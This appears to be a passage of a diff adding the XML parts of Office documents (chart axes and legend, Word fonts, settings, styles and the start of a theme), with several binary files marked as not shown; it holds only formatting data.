<c:numFmt formatCode="General" sourceLinked="1"/>
|
||||||
|
<c:tickLblPos val="nextTo"/>
|
||||||
|
<c:crossAx val="59304576"/>
|
||||||
|
<c:crosses val="autoZero"/>
|
||||||
|
<c:crossBetween val="midCat"/>
|
||||||
|
</c:valAx>
|
||||||
|
<c:serAx>
|
||||||
|
<c:axId val="59572224"/>
|
||||||
|
<c:scaling>
|
||||||
|
<c:orientation val="minMax"/>
|
||||||
|
</c:scaling>
|
||||||
|
<c:axPos val="b"/>
|
||||||
|
<c:tickLblPos val="nextTo"/>
|
||||||
|
<c:crossAx val="68746240"/>
|
||||||
|
<c:crosses val="autoZero"/>
|
||||||
|
</c:serAx>
|
||||||
|
</c:plotArea>
|
||||||
|
<c:legend>
|
||||||
|
<c:legendPos val="r"/>
|
||||||
|
<c:layout/>
|
||||||
|
<c:txPr>
|
||||||
|
<a:bodyPr/>
|
||||||
|
<a:lstStyle/>
|
||||||
|
<a:p>
|
||||||
|
<a:pPr rtl="0">
|
||||||
|
<a:defRPr/>
|
||||||
|
</a:pPr>
|
||||||
|
<a:endParaRPr lang="en-US"/>
|
||||||
|
</a:p>
|
||||||
|
</c:txPr>
|
||||||
|
</c:legend>
|
||||||
|
<c:plotVisOnly val="1"/>
|
||||||
|
</c:chart>
|
||||||
|
<c:externalData r:id="rId1"/>
|
||||||
|
</c:chartSpace>
|
||||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
|
@ -0,0 +1,31 @@
|
||||||
|
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||||
|
<w:fonts xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main">
|
||||||
|
<w:font w:name="Calibri">
|
||||||
|
<w:panose1 w:val="020F0502020204030204"/>
|
||||||
|
<w:charset w:val="CC"/>
|
||||||
|
<w:family w:val="swiss"/>
|
||||||
|
<w:pitch w:val="variable"/>
|
||||||
|
<w:sig w:usb0="E00002FF" w:usb1="4000ACFF" w:usb2="00000001" w:usb3="00000000" w:csb0="0000019F" w:csb1="00000000"/>
|
||||||
|
</w:font>
|
||||||
|
<w:font w:name="Times New Roman">
|
||||||
|
<w:panose1 w:val="02020603050405020304"/>
|
||||||
|
<w:charset w:val="CC"/>
|
||||||
|
<w:family w:val="roman"/>
|
||||||
|
<w:pitch w:val="variable"/>
|
||||||
|
<w:sig w:usb0="E0002AFF" w:usb1="C0007841" w:usb2="00000009" w:usb3="00000000" w:csb0="000001FF" w:csb1="00000000"/>
|
||||||
|
</w:font>
|
||||||
|
<w:font w:name="Tahoma">
|
||||||
|
<w:panose1 w:val="020B0604030504040204"/>
|
||||||
|
<w:charset w:val="CC"/>
|
||||||
|
<w:family w:val="swiss"/>
|
||||||
|
<w:pitch w:val="variable"/>
|
||||||
|
<w:sig w:usb0="E1002EFF" w:usb1="C000605B" w:usb2="00000029" w:usb3="00000000" w:csb0="000101FF" w:csb1="00000000"/>
|
||||||
|
</w:font>
|
||||||
|
<w:font w:name="Cambria">
|
||||||
|
<w:panose1 w:val="02040503050406030204"/>
|
||||||
|
<w:charset w:val="CC"/>
|
||||||
|
<w:family w:val="roman"/>
|
||||||
|
<w:pitch w:val="variable"/>
|
||||||
|
<w:sig w:usb0="E00002FF" w:usb1="400004FF" w:usb2="00000000" w:usb3="00000000" w:csb0="0000019F" w:csb1="00000000"/>
|
||||||
|
</w:font>
|
||||||
|
</w:fonts>
|
||||||
Binary file not shown.
|
|
@ -0,0 +1,36 @@
|
||||||
|
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||||
|
<w:settings xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:m="http://schemas.openxmlformats.org/officeDocument/2006/math" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:w10="urn:schemas-microsoft-com:office:word" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:sl="http://schemas.openxmlformats.org/schemaLibrary/2006/main">
|
||||||
|
<w:zoom w:percent="100"/>
|
||||||
|
<w:proofState w:spelling="clean" w:grammar="clean"/>
|
||||||
|
<w:defaultTabStop w:val="708"/>
|
||||||
|
<w:characterSpacingControl w:val="doNotCompress"/>
|
||||||
|
<w:compat/>
|
||||||
|
<w:rsids>
|
||||||
|
<w:rsidRoot w:val="00D15BD0"/>
|
||||||
|
<w:rsid w:val="00D15BD0"/>
|
||||||
|
<w:rsid w:val="00F8254F"/>
|
||||||
|
</w:rsids>
|
||||||
|
<m:mathPr>
|
||||||
|
<m:mathFont m:val="Cambria Math"/>
|
||||||
|
<m:brkBin m:val="before"/>
|
||||||
|
<m:brkBinSub m:val="--"/>
|
||||||
|
<m:smallFrac m:val="off"/>
|
||||||
|
<m:dispDef/>
|
||||||
|
<m:lMargin m:val="0"/>
|
||||||
|
<m:rMargin m:val="0"/>
|
||||||
|
<m:defJc m:val="centerGroup"/>
|
||||||
|
<m:wrapIndent m:val="1440"/>
|
||||||
|
<m:intLim m:val="subSup"/>
|
||||||
|
<m:naryLim m:val="undOvr"/>
|
||||||
|
</m:mathPr>
|
||||||
|
<w:themeFontLang w:val="en-US"/>
|
||||||
|
<w:clrSchemeMapping w:bg1="light1" w:t1="dark1" w:bg2="light2" w:t2="dark2" w:accent1="accent1" w:accent2="accent2" w:accent3="accent3" w:accent4="accent4" w:accent5="accent5" w:accent6="accent6" w:hyperlink="hyperlink" w:followedHyperlink="followedHyperlink"/>
|
||||||
|
<w:shapeDefaults>
|
||||||
|
<o:shapedefaults v:ext="edit" spidmax="1026"/>
|
||||||
|
<o:shapelayout v:ext="edit">
|
||||||
|
<o:idmap v:ext="edit" data="1"/>
|
||||||
|
</o:shapelayout>
|
||||||
|
</w:shapeDefaults>
|
||||||
|
<w:decimalSymbol w:val=","/>
|
||||||
|
<w:listSeparator w:val=";"/>
|
||||||
|
</w:settings>
|
||||||
|
|
@ -0,0 +1,220 @@
|
||||||
|
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||||
|
<w:styles xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main">
|
||||||
|
<w:docDefaults>
|
||||||
|
<w:rPrDefault>
|
||||||
|
<w:rPr>
|
||||||
|
<w:rFonts w:asciiTheme="minorHAnsi" w:hAnsiTheme="minorHAnsi" w:cstheme="minorBidi"/>
|
||||||
|
<w:sz w:val="22"/>
|
||||||
|
<w:szCs w:val="22"/>
|
||||||
|
<w:lang w:val="en-US" w:bidi="ar-SA"/>
|
||||||
|
</w:rPr>
|
||||||
|
</w:rPrDefault>
|
||||||
|
<w:pPrDefault>
|
||||||
|
<w:pPr>
|
||||||
|
<w:spacing w:after="200" w:line="276" w:lineRule="auto"/>
|
||||||
|
</w:pPr>
|
||||||
|
</w:pPrDefault>
|
||||||
|
</w:docDefaults>
|
||||||
|
<w:latentStyles w:defLockedState="0" w:defUIPriority="99" w:defSemiHidden="1" w:defUnhideWhenUsed="1" w:defQFormat="0" w:count="267">
|
||||||
|
<w:lsdException w:name="Normal" w:semiHidden="0" w:uiPriority="0" w:unhideWhenUsed="0" w:qFormat="1"/>
|
||||||
|
<w:lsdException w:name="heading 1" w:semiHidden="0" w:uiPriority="9" w:unhideWhenUsed="0" w:qFormat="1"/>
|
||||||
|
<w:lsdException w:name="heading 2" w:uiPriority="9" w:qFormat="1"/>
|
||||||
|
<w:lsdException w:name="heading 3" w:uiPriority="9" w:qFormat="1"/>
|
||||||
|
<w:lsdException w:name="heading 4" w:uiPriority="9" w:qFormat="1"/>
|
||||||
|
<w:lsdException w:name="heading 5" w:uiPriority="9" w:qFormat="1"/>
|
||||||
|
<w:lsdException w:name="heading 6" w:uiPriority="9" w:qFormat="1"/>
|
||||||
|
<w:lsdException w:name="heading 7" w:uiPriority="9" w:qFormat="1"/>
|
||||||
|
<w:lsdException w:name="heading 8" w:uiPriority="9" w:qFormat="1"/>
|
||||||
|
<w:lsdException w:name="heading 9" w:uiPriority="9" w:qFormat="1"/>
|
||||||
|
<w:lsdException w:name="toc 1" w:uiPriority="39"/>
|
||||||
|
<w:lsdException w:name="toc 2" w:uiPriority="39"/>
|
||||||
|
<w:lsdException w:name="toc 3" w:uiPriority="39"/>
|
||||||
|
<w:lsdException w:name="toc 4" w:uiPriority="39"/>
|
||||||
|
<w:lsdException w:name="toc 5" w:uiPriority="39"/>
|
||||||
|
<w:lsdException w:name="toc 6" w:uiPriority="39"/>
|
||||||
|
<w:lsdException w:name="toc 7" w:uiPriority="39"/>
|
||||||
|
<w:lsdException w:name="toc 8" w:uiPriority="39"/>
|
||||||
|
<w:lsdException w:name="toc 9" w:uiPriority="39"/>
|
||||||
|
<w:lsdException w:name="caption" w:uiPriority="35" w:qFormat="1"/>
|
||||||
|
<w:lsdException w:name="Title" w:semiHidden="0" w:uiPriority="10" w:unhideWhenUsed="0" w:qFormat="1"/>
|
||||||
|
<w:lsdException w:name="Default Paragraph Font" w:uiPriority="1"/>
|
||||||
|
<w:lsdException w:name="Subtitle" w:semiHidden="0" w:uiPriority="11" w:unhideWhenUsed="0" w:qFormat="1"/>
|
||||||
|
<w:lsdException w:name="Strong" w:semiHidden="0" w:uiPriority="22" w:unhideWhenUsed="0" w:qFormat="1"/>
|
||||||
|
<w:lsdException w:name="Emphasis" w:semiHidden="0" w:uiPriority="20" w:unhideWhenUsed="0" w:qFormat="1"/>
|
||||||
|
<w:lsdException w:name="Table Grid" w:semiHidden="0" w:uiPriority="59" w:unhideWhenUsed="0"/>
|
||||||
|
<w:lsdException w:name="Placeholder Text" w:unhideWhenUsed="0"/>
|
||||||
|
<w:lsdException w:name="No Spacing" w:semiHidden="0" w:uiPriority="1" w:unhideWhenUsed="0" w:qFormat="1"/>
|
||||||
|
<w:lsdException w:name="Light Shading" w:semiHidden="0" w:uiPriority="60" w:unhideWhenUsed="0"/>
|
||||||
|
<w:lsdException w:name="Light List" w:semiHidden="0" w:uiPriority="61" w:unhideWhenUsed="0"/>
|
||||||
|
<w:lsdException w:name="Light Grid" w:semiHidden="0" w:uiPriority="62" w:unhideWhenUsed="0"/>
|
||||||
|
<w:lsdException w:name="Medium Shading 1" w:semiHidden="0" w:uiPriority="63" w:unhideWhenUsed="0"/>
|
||||||
|
<w:lsdException w:name="Medium Shading 2" w:semiHidden="0" w:uiPriority="64" w:unhideWhenUsed="0"/>
|
||||||
|
<w:lsdException w:name="Medium List 1" w:semiHidden="0" w:uiPriority="65" w:unhideWhenUsed="0"/>
|
||||||
|
<w:lsdException w:name="Medium List 2" w:semiHidden="0" w:uiPriority="66" w:unhideWhenUsed="0"/>
|
||||||
|
<w:lsdException w:name="Medium Grid 1" w:semiHidden="0" w:uiPriority="67" w:unhideWhenUsed="0"/>
|
||||||
|
<w:lsdException w:name="Medium Grid 2" w:semiHidden="0" w:uiPriority="68" w:unhideWhenUsed="0"/>
|
||||||
|
<w:lsdException w:name="Medium Grid 3" w:semiHidden="0" w:uiPriority="69" w:unhideWhenUsed="0"/>
|
||||||
|
<w:lsdException w:name="Dark List" w:semiHidden="0" w:uiPriority="70" w:unhideWhenUsed="0"/>
|
||||||
|
<w:lsdException w:name="Colorful Shading" w:semiHidden="0" w:uiPriority="71" w:unhideWhenUsed="0"/>
|
||||||
|
<w:lsdException w:name="Colorful List" w:semiHidden="0" w:uiPriority="72" w:unhideWhenUsed="0"/>
|
||||||
|
<w:lsdException w:name="Colorful Grid" w:semiHidden="0" w:uiPriority="73" w:unhideWhenUsed="0"/>
|
||||||
|
<w:lsdException w:name="Light Shading Accent 1" w:semiHidden="0" w:uiPriority="60" w:unhideWhenUsed="0"/>
|
||||||
|
<w:lsdException w:name="Light List Accent 1" w:semiHidden="0" w:uiPriority="61" w:unhideWhenUsed="0"/>
|
||||||
|
<w:lsdException w:name="Light Grid Accent 1" w:semiHidden="0" w:uiPriority="62" w:unhideWhenUsed="0"/>
|
||||||
|
<w:lsdException w:name="Medium Shading 1 Accent 1" w:semiHidden="0" w:uiPriority="63" w:unhideWhenUsed="0"/>
|
||||||
|
<w:lsdException w:name="Medium Shading 2 Accent 1" w:semiHidden="0" w:uiPriority="64" w:unhideWhenUsed="0"/>
|
||||||
|
<w:lsdException w:name="Medium List 1 Accent 1" w:semiHidden="0" w:uiPriority="65" w:unhideWhenUsed="0"/>
|
||||||
|
<w:lsdException w:name="Revision" w:unhideWhenUsed="0"/>
|
||||||
|
<w:lsdException w:name="List Paragraph" w:semiHidden="0" w:uiPriority="34" w:unhideWhenUsed="0" w:qFormat="1"/>
|
||||||
|
<w:lsdException w:name="Quote" w:semiHidden="0" w:uiPriority="29" w:unhideWhenUsed="0" w:qFormat="1"/>
|
||||||
|
<w:lsdException w:name="Intense Quote" w:semiHidden="0" w:uiPriority="30" w:unhideWhenUsed="0" w:qFormat="1"/>
|
||||||
|
<w:lsdException w:name="Medium List 2 Accent 1" w:semiHidden="0" w:uiPriority="66" w:unhideWhenUsed="0"/>
|
||||||
|
<w:lsdException w:name="Medium Grid 1 Accent 1" w:semiHidden="0" w:uiPriority="67" w:unhideWhenUsed="0"/>
|
||||||
|
<w:lsdException w:name="Medium Grid 2 Accent 1" w:semiHidden="0" w:uiPriority="68" w:unhideWhenUsed="0"/>
|
||||||
|
<w:lsdException w:name="Medium Grid 3 Accent 1" w:semiHidden="0" w:uiPriority="69" w:unhideWhenUsed="0"/>
|
||||||
|
<w:lsdException w:name="Dark List Accent 1" w:semiHidden="0" w:uiPriority="70" w:unhideWhenUsed="0"/>
|
||||||
|
<w:lsdException w:name="Colorful Shading Accent 1" w:semiHidden="0" w:uiPriority="71" w:unhideWhenUsed="0"/>
|
||||||
|
<w:lsdException w:name="Colorful List Accent 1" w:semiHidden="0" w:uiPriority="72" w:unhideWhenUsed="0"/>
|
||||||
|
<w:lsdException w:name="Colorful Grid Accent 1" w:semiHidden="0" w:uiPriority="73" w:unhideWhenUsed="0"/>
|
||||||
|
<w:lsdException w:name="Light Shading Accent 2" w:semiHidden="0" w:uiPriority="60" w:unhideWhenUsed="0"/>
|
||||||
|
<w:lsdException w:name="Light List Accent 2" w:semiHidden="0" w:uiPriority="61" w:unhideWhenUsed="0"/>
|
||||||
|
<w:lsdException w:name="Light Grid Accent 2" w:semiHidden="0" w:uiPriority="62" w:unhideWhenUsed="0"/>
|
||||||
|
<w:lsdException w:name="Medium Shading 1 Accent 2" w:semiHidden="0" w:uiPriority="63" w:unhideWhenUsed="0"/>
|
||||||
|
<w:lsdException w:name="Medium Shading 2 Accent 2" w:semiHidden="0" w:uiPriority="64" w:unhideWhenUsed="0"/>
|
||||||
|
<w:lsdException w:name="Medium List 1 Accent 2" w:semiHidden="0" w:uiPriority="65" w:unhideWhenUsed="0"/>
|
||||||
|
<w:lsdException w:name="Medium List 2 Accent 2" w:semiHidden="0" w:uiPriority="66" w:unhideWhenUsed="0"/>
|
||||||
|
<w:lsdException w:name="Medium Grid 1 Accent 2" w:semiHidden="0" w:uiPriority="67" w:unhideWhenUsed="0"/>
|
||||||
|
<w:lsdException w:name="Medium Grid 2 Accent 2" w:semiHidden="0" w:uiPriority="68" w:unhideWhenUsed="0"/>
|
||||||
|
<w:lsdException w:name="Medium Grid 3 Accent 2" w:semiHidden="0" w:uiPriority="69" w:unhideWhenUsed="0"/>
|
||||||
|
<w:lsdException w:name="Dark List Accent 2" w:semiHidden="0" w:uiPriority="70" w:unhideWhenUsed="0"/>
|
||||||
|
<w:lsdException w:name="Colorful Shading Accent 2" w:semiHidden="0" w:uiPriority="71" w:unhideWhenUsed="0"/>
|
||||||
|
<w:lsdException w:name="Colorful List Accent 2" w:semiHidden="0" w:uiPriority="72" w:unhideWhenUsed="0"/>
|
||||||
|
<w:lsdException w:name="Colorful Grid Accent 2" w:semiHidden="0" w:uiPriority="73" w:unhideWhenUsed="0"/>
|
||||||
|
<w:lsdException w:name="Light Shading Accent 3" w:semiHidden="0" w:uiPriority="60" w:unhideWhenUsed="0"/>
|
||||||
|
<w:lsdException w:name="Light List Accent 3" w:semiHidden="0" w:uiPriority="61" w:unhideWhenUsed="0"/>
|
||||||
|
<w:lsdException w:name="Light Grid Accent 3" w:semiHidden="0" w:uiPriority="62" w:unhideWhenUsed="0"/>
|
||||||
|
<w:lsdException w:name="Medium Shading 1 Accent 3" w:semiHidden="0" w:uiPriority="63" w:unhideWhenUsed="0"/>
|
||||||
|
<w:lsdException w:name="Medium Shading 2 Accent 3" w:semiHidden="0" w:uiPriority="64" w:unhideWhenUsed="0"/>
|
||||||
|
<w:lsdException w:name="Medium List 1 Accent 3" w:semiHidden="0" w:uiPriority="65" w:unhideWhenUsed="0"/>
|
||||||
|
<w:lsdException w:name="Medium List 2 Accent 3" w:semiHidden="0" w:uiPriority="66" w:unhideWhenUsed="0"/>
|
||||||
|
<w:lsdException w:name="Medium Grid 1 Accent 3" w:semiHidden="0" w:uiPriority="67" w:unhideWhenUsed="0"/>
|
||||||
|
<w:lsdException w:name="Medium Grid 2 Accent 3" w:semiHidden="0" w:uiPriority="68" w:unhideWhenUsed="0"/>
|
||||||
|
<w:lsdException w:name="Medium Grid 3 Accent 3" w:semiHidden="0" w:uiPriority="69" w:unhideWhenUsed="0"/>
|
||||||
|
<w:lsdException w:name="Dark List Accent 3" w:semiHidden="0" w:uiPriority="70" w:unhideWhenUsed="0"/>
|
||||||
|
<w:lsdException w:name="Colorful Shading Accent 3" w:semiHidden="0" w:uiPriority="71" w:unhideWhenUsed="0"/>
|
||||||
|
<w:lsdException w:name="Colorful List Accent 3" w:semiHidden="0" w:uiPriority="72" w:unhideWhenUsed="0"/>
|
||||||
|
<w:lsdException w:name="Colorful Grid Accent 3" w:semiHidden="0" w:uiPriority="73" w:unhideWhenUsed="0"/>
|
||||||
|
<w:lsdException w:name="Light Shading Accent 4" w:semiHidden="0" w:uiPriority="60" w:unhideWhenUsed="0"/>
|
||||||
|
<w:lsdException w:name="Light List Accent 4" w:semiHidden="0" w:uiPriority="61" w:unhideWhenUsed="0"/>
|
||||||
|
<w:lsdException w:name="Light Grid Accent 4" w:semiHidden="0" w:uiPriority="62" w:unhideWhenUsed="0"/>
|
||||||
|
<w:lsdException w:name="Medium Shading 1 Accent 4" w:semiHidden="0" w:uiPriority="63" w:unhideWhenUsed="0"/>
|
||||||
|
<w:lsdException w:name="Medium Shading 2 Accent 4" w:semiHidden="0" w:uiPriority="64" w:unhideWhenUsed="0"/>
|
||||||
|
<w:lsdException w:name="Medium List 1 Accent 4" w:semiHidden="0" w:uiPriority="65" w:unhideWhenUsed="0"/>
|
||||||
|
<w:lsdException w:name="Medium List 2 Accent 4" w:semiHidden="0" w:uiPriority="66" w:unhideWhenUsed="0"/>
|
||||||
|
<w:lsdException w:name="Medium Grid 1 Accent 4" w:semiHidden="0" w:uiPriority="67" w:unhideWhenUsed="0"/>
|
||||||
|
<w:lsdException w:name="Medium Grid 2 Accent 4" w:semiHidden="0" w:uiPriority="68" w:unhideWhenUsed="0"/>
|
||||||
|
<w:lsdException w:name="Medium Grid 3 Accent 4" w:semiHidden="0" w:uiPriority="69" w:unhideWhenUsed="0"/>
|
||||||
|
<w:lsdException w:name="Dark List Accent 4" w:semiHidden="0" w:uiPriority="70" w:unhideWhenUsed="0"/>
|
||||||
|
<w:lsdException w:name="Colorful Shading Accent 4" w:semiHidden="0" w:uiPriority="71" w:unhideWhenUsed="0"/>
|
||||||
|
<w:lsdException w:name="Colorful List Accent 4" w:semiHidden="0" w:uiPriority="72" w:unhideWhenUsed="0"/>
|
||||||
|
<w:lsdException w:name="Colorful Grid Accent 4" w:semiHidden="0" w:uiPriority="73" w:unhideWhenUsed="0"/>
|
||||||
|
<w:lsdException w:name="Light Shading Accent 5" w:semiHidden="0" w:uiPriority="60" w:unhideWhenUsed="0"/>
|
||||||
|
<w:lsdException w:name="Light List Accent 5" w:semiHidden="0" w:uiPriority="61" w:unhideWhenUsed="0"/>
|
||||||
|
<w:lsdException w:name="Light Grid Accent 5" w:semiHidden="0" w:uiPriority="62" w:unhideWhenUsed="0"/>
|
||||||
|
<w:lsdException w:name="Medium Shading 1 Accent 5" w:semiHidden="0" w:uiPriority="63" w:unhideWhenUsed="0"/>
|
||||||
|
<w:lsdException w:name="Medium Shading 2 Accent 5" w:semiHidden="0" w:uiPriority="64" w:unhideWhenUsed="0"/>
|
||||||
|
<w:lsdException w:name="Medium List 1 Accent 5" w:semiHidden="0" w:uiPriority="65" w:unhideWhenUsed="0"/>
|
||||||
|
<w:lsdException w:name="Medium List 2 Accent 5" w:semiHidden="0" w:uiPriority="66" w:unhideWhenUsed="0"/>
|
||||||
|
<w:lsdException w:name="Medium Grid 1 Accent 5" w:semiHidden="0" w:uiPriority="67" w:unhideWhenUsed="0"/>
|
||||||
|
<w:lsdException w:name="Medium Grid 2 Accent 5" w:semiHidden="0" w:uiPriority="68" w:unhideWhenUsed="0"/>
|
||||||
|
<w:lsdException w:name="Medium Grid 3 Accent 5" w:semiHidden="0" w:uiPriority="69" w:unhideWhenUsed="0"/>
|
||||||
|
<w:lsdException w:name="Dark List Accent 5" w:semiHidden="0" w:uiPriority="70" w:unhideWhenUsed="0"/>
|
||||||
|
<w:lsdException w:name="Colorful Shading Accent 5" w:semiHidden="0" w:uiPriority="71" w:unhideWhenUsed="0"/>
|
||||||
|
<w:lsdException w:name="Colorful List Accent 5" w:semiHidden="0" w:uiPriority="72" w:unhideWhenUsed="0"/>
|
||||||
|
<w:lsdException w:name="Colorful Grid Accent 5" w:semiHidden="0" w:uiPriority="73" w:unhideWhenUsed="0"/>
|
||||||
|
<w:lsdException w:name="Light Shading Accent 6" w:semiHidden="0" w:uiPriority="60" w:unhideWhenUsed="0"/>
|
||||||
|
<w:lsdException w:name="Light List Accent 6" w:semiHidden="0" w:uiPriority="61" w:unhideWhenUsed="0"/>
|
||||||
|
<w:lsdException w:name="Light Grid Accent 6" w:semiHidden="0" w:uiPriority="62" w:unhideWhenUsed="0"/>
|
||||||
|
<w:lsdException w:name="Medium Shading 1 Accent 6" w:semiHidden="0" w:uiPriority="63" w:unhideWhenUsed="0"/>
|
||||||
|
<w:lsdException w:name="Medium Shading 2 Accent 6" w:semiHidden="0" w:uiPriority="64" w:unhideWhenUsed="0"/>
|
||||||
|
<w:lsdException w:name="Medium List 1 Accent 6" w:semiHidden="0" w:uiPriority="65" w:unhideWhenUsed="0"/>
|
||||||
|
<w:lsdException w:name="Medium List 2 Accent 6" w:semiHidden="0" w:uiPriority="66" w:unhideWhenUsed="0"/>
|
||||||
|
<w:lsdException w:name="Medium Grid 1 Accent 6" w:semiHidden="0" w:uiPriority="67" w:unhideWhenUsed="0"/>
|
||||||
|
<w:lsdException w:name="Medium Grid 2 Accent 6" w:semiHidden="0" w:uiPriority="68" w:unhideWhenUsed="0"/>
|
||||||
|
<w:lsdException w:name="Medium Grid 3 Accent 6" w:semiHidden="0" w:uiPriority="69" w:unhideWhenUsed="0"/>
|
||||||
|
<w:lsdException w:name="Dark List Accent 6" w:semiHidden="0" w:uiPriority="70" w:unhideWhenUsed="0"/>
|
||||||
|
<w:lsdException w:name="Colorful Shading Accent 6" w:semiHidden="0" w:uiPriority="71" w:unhideWhenUsed="0"/>
|
||||||
|
<w:lsdException w:name="Colorful List Accent 6" w:semiHidden="0" w:uiPriority="72" w:unhideWhenUsed="0"/>
|
||||||
|
<w:lsdException w:name="Colorful Grid Accent 6" w:semiHidden="0" w:uiPriority="73" w:unhideWhenUsed="0"/>
|
||||||
|
<w:lsdException w:name="Subtle Emphasis" w:semiHidden="0" w:uiPriority="19" w:unhideWhenUsed="0" w:qFormat="1"/>
|
||||||
|
<w:lsdException w:name="Intense Emphasis" w:semiHidden="0" w:uiPriority="21" w:unhideWhenUsed="0" w:qFormat="1"/>
|
||||||
|
<w:lsdException w:name="Subtle Reference" w:semiHidden="0" w:uiPriority="31" w:unhideWhenUsed="0" w:qFormat="1"/>
|
||||||
|
<w:lsdException w:name="Intense Reference" w:semiHidden="0" w:uiPriority="32" w:unhideWhenUsed="0" w:qFormat="1"/>
|
||||||
|
<w:lsdException w:name="Book Title" w:semiHidden="0" w:uiPriority="33" w:unhideWhenUsed="0" w:qFormat="1"/>
|
||||||
|
<w:lsdException w:name="Bibliography" w:uiPriority="37"/>
|
||||||
|
<w:lsdException w:name="TOC Heading" w:uiPriority="39" w:qFormat="1"/>
|
||||||
|
</w:latentStyles>
|
||||||
|
<w:style w:type="paragraph" w:default="1" w:styleId="Normal">
|
||||||
|
<w:name w:val="Normal"/>
|
||||||
|
<w:qFormat/>
|
||||||
|
<w:rsid w:val="00063BF6"/>
|
||||||
|
</w:style>
|
||||||
|
<w:style w:type="character" w:default="1" w:styleId="DefaultParagraphFont">
|
||||||
|
<w:name w:val="Default Paragraph Font"/>
|
||||||
|
<w:uiPriority w:val="1"/>
|
||||||
|
<w:semiHidden/>
|
||||||
|
<w:unhideWhenUsed/>
|
||||||
|
</w:style>
|
||||||
|
<w:style w:type="table" w:default="1" w:styleId="TableNormal">
|
||||||
|
<w:name w:val="Normal Table"/>
|
||||||
|
<w:uiPriority w:val="99"/>
|
||||||
|
<w:semiHidden/>
|
||||||
|
<w:unhideWhenUsed/>
|
||||||
|
<w:qFormat/>
|
||||||
|
<w:tblPr>
|
||||||
|
<w:tblInd w:w="0" w:type="dxa"/>
|
||||||
|
<w:tblCellMar>
|
||||||
|
<w:top w:w="0" w:type="dxa"/>
|
||||||
|
<w:left w:w="108" w:type="dxa"/>
|
||||||
|
<w:bottom w:w="0" w:type="dxa"/>
|
||||||
|
<w:right w:w="108" w:type="dxa"/>
|
||||||
|
</w:tblCellMar>
|
||||||
|
</w:tblPr>
|
||||||
|
</w:style>
|
||||||
|
<w:style w:type="numbering" w:default="1" w:styleId="NoList">
|
||||||
|
<w:name w:val="No List"/>
|
||||||
|
<w:uiPriority w:val="99"/>
|
||||||
|
<w:semiHidden/>
|
||||||
|
<w:unhideWhenUsed/>
|
||||||
|
</w:style>
|
||||||
|
<w:style w:type="paragraph" w:styleId="BalloonText">
|
||||||
|
<w:name w:val="Balloon Text"/>
|
||||||
|
<w:basedOn w:val="Normal"/>
|
||||||
|
<w:link w:val="BalloonTextChar"/>
|
||||||
|
<w:uiPriority w:val="99"/>
|
||||||
|
<w:semiHidden/>
|
||||||
|
<w:unhideWhenUsed/>
|
||||||
|
<w:rsid w:val="00CD271A"/>
|
||||||
|
<w:pPr>
|
||||||
|
<w:spacing w:after="0" w:line="240" w:lineRule="auto"/>
|
||||||
|
</w:pPr>
|
||||||
|
<w:rPr>
|
||||||
|
<w:rFonts w:ascii="Tahoma" w:hAnsi="Tahoma" w:cs="Tahoma"/>
|
||||||
|
<w:sz w:val="16"/>
|
||||||
|
<w:szCs w:val="16"/>
|
||||||
|
</w:rPr>
|
||||||
|
</w:style>
|
||||||
|
<w:style w:type="character" w:customStyle="1" w:styleId="BalloonTextChar">
|
||||||
|
<w:name w:val="Balloon Text Char"/>
|
||||||
|
<w:basedOn w:val="DefaultParagraphFont"/>
|
||||||
|
<w:link w:val="BalloonText"/>
|
||||||
|
<w:uiPriority w:val="99"/>
|
||||||
|
<w:semiHidden/>
|
||||||
|
<w:rsid w:val="00CD271A"/>
|
||||||
|
<w:rPr>
|
||||||
|
<w:rFonts w:ascii="Tahoma" w:hAnsi="Tahoma" w:cs="Tahoma"/>
|
||||||
|
<w:sz w:val="16"/>
|
||||||
|
<w:szCs w:val="16"/>
|
||||||
|
</w:rPr>
|
||||||
|
</w:style>
|
||||||
|
</w:styles>
|
||||||
|
|
@ -0,0 +1,283 @@
|
||||||
|
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||||
|
<a:theme xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" name="Office Theme">
|
||||||
|
<a:themeElements>
|
||||||
|
<a:clrScheme name="Office">
|
||||||
|
<a:dk1>
|
||||||
|
<a:sysClr val="windowText" lastClr="000000"/>
|
||||||
|
</a:dk1>
|
||||||
|
<a:lt1>
|
||||||
|
<a:sysClr val="window" lastClr="FFFFFF"/>
|
||||||
|
</a:lt1>
|
||||||
|
<a:dk2>
|
||||||
|
<a:srgbClr val="1F497D"/>
|
||||||
|
</a:dk2>
|
||||||
|
<a:lt2>
|
||||||
|
<a:srgbClr val="EEECE1"/>
|
||||||
|
</a:lt2>
|
||||||
|
<a:accent1>
|
||||||
|
<a:srgbClr val="4F81BD"/>
|
||||||
|
</a:accent1>
|
||||||
|
<a:accent2>
|
||||||
|
<a:srgbClr val="C0504D"/>
|
||||||
|
</a:accent2>
|
||||||
|
<a:accent3>
|
||||||
|
<a:srgbClr val="9BBB59"/>
|
||||||
|
</a:accent3>
|
||||||
|
<a:accent4>
|
||||||
|
<a:srgbClr val="8064A2"/>
|
||||||
|
</a:accent4>
|
||||||
|
<a:accent5>
|
||||||
|
<a:srgbClr val="4BACC6"/>
|
||||||
|
</a:accent5>
|
||||||
|
<a:accent6>
|
||||||
|
<a:srgbClr val="F79646"/>
|
||||||
|
</a:accent6>
|
||||||
|
<a:hlink>
|
||||||
|
<a:srgbClr val="0000FF"/>
|
||||||
|
</a:hlink>
|
||||||
|
<a:folHlink>
|
||||||
|
<a:srgbClr val="800080"/>
|
||||||
|
</a:folHlink>
|
||||||
|
</a:clrScheme>
|
||||||
|
<a:fontScheme name="Office">
|
||||||
|
<a:majorFont>
|
||||||
|
<a:latin typeface="Cambria"/>
|
||||||
|
<a:ea typeface=""/>
|
||||||
|
<a:cs typeface=""/>
|
||||||
|
